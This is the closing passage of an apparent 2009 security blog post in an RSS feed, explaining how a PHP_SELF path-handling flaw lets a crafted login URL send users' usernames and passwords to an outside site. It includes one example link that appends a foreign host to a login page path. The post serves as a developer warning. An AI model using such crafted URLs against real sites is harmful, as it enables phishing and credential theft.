<p><a href="http://www.businessinfo.co.uk/labs/php_self/login.php//google.com?lets%20send%20google%20your%20password">Sending Google your password</a> So the user enters their username and password combination and thinks that they are logging on to the target application in reality you are sending the details to a evil site. </p>
<p>I checked PHP5 and it seemed ok but this will serve as a reminder that the slash can get you.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.thespanner.co.uk/2009/09/25/php-self-return-of-the-slash/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
